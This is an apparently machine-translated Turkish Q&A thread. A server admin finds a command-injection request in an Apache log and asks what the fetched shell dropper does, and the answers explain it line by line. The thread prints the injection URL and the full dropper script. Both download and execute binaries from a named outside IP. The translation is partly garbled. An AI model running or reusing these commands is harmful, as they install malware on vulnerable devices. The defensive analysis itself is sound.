Bu bash betiği ne işe yarıyor? [Hack Girişimi]


31

Son zamanlarda aşağıdaki tuhaf satırları sunucularımın apache günlüklerinde fark ettim:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Bu yüzden özel bir Fail2Ban filtresi yaptım ve bu /login.cgi URL'lerini isteyen IP'leri yasaklamaya başladım.

Ama ne yapmaya çalıştıklarını merak ediyordum, bu yüzden yürütmeye çalıştıkları senaryoyu çektim ve tam olarak ne yaptığını çözemedim. / Var ve / tmp dizinindeki arşiv klasörlerini kaldırma hakkında bir şey?

Neyse, işte burada:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done


1
Bu senaryo ilk etapta sunucunuza nasıl girdi?
MrWhite

3
Sadece .sh dosyasını ev bilgisayarımdaki bir tarayıcıda açıp buraya kopyalayıp buraya yapıştırdım, aslında sunucumda olmadı.
ndom91

1
Bu script, gerçek exploit betiğini indirmek için kullanılan bir 'damlalık'. Bu , CPU mimarisinin her birinin hxxp://80.211.173.159:80/$namebulunduğu yerde olacaktır . Yani 7 saldırı komut indirilip çalıştırılacaktır$namebin_names
BlueCacti

Yanıtlar:


42

Satır satır:

#!/bin/sh

Kurar shshebang hattı olarak hangisi kabuğu,. sh%20/tmp/ksistekte bunu geçersiz kılar, bu nedenle bu satır normal yorum olarak kabul edilir ve dikkate alınmaz.

u="asgknskjdgn"

Muhtemelen diğer dosya isimleri ile çarpışmaktan kaçınmak için isteğe bağlı bir isim ilan eder. Neden sadece kullanmayacaklarından emin değilim mktemp, ama belki tüm platformlarda mevcut değil.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Birkaç ortak CPU mimarisini numaralandırır.

http_server="80.211.173.159"
http_port=80

Açıktan yararlanan sunucu.

cd /tmp/||cd /var/

Dizini web sunucunuzda değiştirmeye çalışır, muhtemelen dosya oluşturabilir. SELinux'un bu konuda yardımcı olacağına inanıyorum, web sunucusunun yapabilecekleri hakkında daha katı kurallar uygulayarak dosya sisteminin tek başına yapabileceğinden daha fazla.

for name in $bin_names
    do

Her CPU mimarisi için…

    rm -rf $u

Daha önce denenmiş olan yararlanma programlarını kaldırır. Bir sonraki satır nedeniyle gereksiz, bu yüzden göz ardı edilebilir.

    cp $SHELL $u

Yürütülebilir geçerli kabuğu ( /bin/sh) kopyalar . Bir sonraki satırdan dolayı ihmal edilebilir.

    chmod 777 $u

Herkesin yeni dosyaya tam erişmesini sağlar. Bu wgetkomut, ya bir komut dosyası yazma acemi veya yanlış yönlendirme tekniğinin bir işareti olan komuttan sonra olmalıydı .

    >$u

Dosyayı boşaltır. Bir sonraki satır için anlamsız.

    wget http://$http_server:$http_port/$name -O -> $u

Dosyanın üzerine bu mimari için exploit betiği yazar. -O -> $uyazılabilirdi -O - > $u(kısa çizgi, indirmenin standart çıktıya yazması gerektiğini gösterir) -O $u.

    ./$u $name

Exploit betiğini mimariyle birlikte ilk argüman olarak çalıştırır.

done

Döngüyü sonlandırır.

Bu, çeşitli CPU platformlarına karşı bilinen istismarları deneyen önemsiz bir istismar girişimi senaryosu gibi görünüyor. Neden $uüç kere üzerine yazdığını bilmiyorum , ancak bu işlemler betiğin daha önceki bir yinelemesinden kaynaklanıyor olabilir. Muhtemelen önceki versiyonun, dinamik olarak hizmet vermekten ziyade, sömürülen kodların zor kodlanmış olması eskidir - eski kolaydır, ancak hatalar yamalandıkça betiğin zamanla daha az etkili olacağını garanti eder.


21
Dosyayı açıkça rm'lemenin bir avantajı var. Hedef zaten mevcutsa ve şu anda yürütülüyorsa, çekirdek dosyayı yazmak için açmanıza izin vermez (-ETXTBSY). Ancak, çalışan bir programı yeniden adlandırmak veya silmek için izin verilir.
saat

Ne gelmez ->de wgetkomuta mi? Neden sadece değil wget ... -O $u?
RonJohn

1
@RonJohn okundu- >
kedi

5
İle -O->filename, ps axfilename çıktısında görünmüyor . Bu hata ayıklamayı zorlaştırmak için bir avantaj olabilir.
pts

1
cpSize bir uygulama dosyası verir. chmodBaşarısız olursa muhtemelen yararlı ? Düzenleme: görünüşe göre bu yönlendiricileri hedefler, chmodmevcut olmayan oldukça mümkün .
Bob

12

wgetAnahtar tehlikeli çizgidir.

for name in $bin_namesPlatformların listesi içinde çalışıyor ve her platform için bu geçici bir dizin temizleyerek üzerinde bir kabuk kopyalayarak ve ardından herkes tarafından erişilebilir kılıyor.

Daha sonra bir dosyayı kullanarak indirir wgetve daha sonra kopyaladığı kabuk programını kullanarak yürütür.

Betik temel olarak, her platform için bir dizi çalıştırılabilir dosya veya komut dosyası indirmeye çalışıyor ve sisteminizi daha fazla tehlikeye atması umuduyla sisteminize sürtüyor.


6
sürtünme == çalışıyor?
Barmar

5
@Barmar bunun kasıtlı olduğuna eminim: P
Kanadalı Luke TAKILMAK MONICA
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.